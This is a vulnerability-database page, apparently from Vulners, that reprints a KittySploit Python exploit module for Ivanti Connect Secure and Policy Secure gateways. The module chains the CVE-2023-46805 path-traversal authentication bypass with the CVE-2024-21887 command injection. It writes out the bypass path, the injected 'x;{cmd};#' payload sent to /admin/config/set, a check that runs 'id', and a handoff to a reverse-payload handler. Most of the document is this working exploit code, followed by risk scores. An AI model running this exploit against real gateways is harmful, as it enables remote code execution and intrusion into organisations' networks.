Lucene search
+L

Ivanti Connect Secure Command Injection (CVE-2024-21887)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Remote command injection in Ivanti Connect Secure and Policy Secure gateways.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ivanti Connect Secure auth bypass + command injection (CVE-2023-46805/21887)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Ivanti Connect Secure Command Injection (CVE-2024-21887)',
        'description': (
            'Chains CVE-2023-46805 path traversal auth bypass with CVE-2024-21887 command '
            'injection via /api/v1/totp/user-backup-code/../../admin/config/set on Ivanti '
            'Connect Secure / Policy Secure gateways.'
        ),
        'author': ['KittySploit Team', 'Horizon3', 'WatchTowr'],
        'cve': ['CVE-2024-21887', 'CVE-2023-46805'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-21887',
            'https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways',
        ],
        'tags': ['ivanti', 'connectsecure', 'auth-bypass', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/ivanti_connect_secure_cve_2024_21887_detect',
                ],
            },
        },
    }

    bypass_prefix = OptString(
        '/api/v1/totp/user-backup-code/../..',
        'Auth bypass path prefix',
        required=False,
        advanced=True,
    )

    def _bypass_reachable(self) -> bool:
        path = f'{self.bypass_prefix}/system/system-information'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return bool(r and r.status_code == 200 and 'build' in (r.text or '').lower())

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        path = f'{self.bypass_prefix}/admin/config/set'
        payload = {'key': f'x;{safe};#', 'value': 'x'}
        r = self.http_request(
            method='POST',
            path=path,
            json=payload,
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        if not self._bypass_reachable():
            return {
                'vulnerable': False,
                'reason': 'CVE-2023-46805 auth bypass not confirmed',
                'confidence': 'medium',
            }
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2024-21887 command injection confirmed',
                'confidence': 'high',
            }
        return {
            'vulnerable': True,
            'reason': 'Auth bypass confirmed; command output not returned in HTTP body',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        self.execute(f'echo {token} > /tmp/{token}')
        return self._bypass_reachable()

    def run(self):
        if not self._bypass_reachable():
            self.not_vulnerable()
            return False
        print_warning('Command injection may not return output in HTTP response — use reverse payload')
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.1
CVSS 39.1
EPSS0.99999
SSVC
2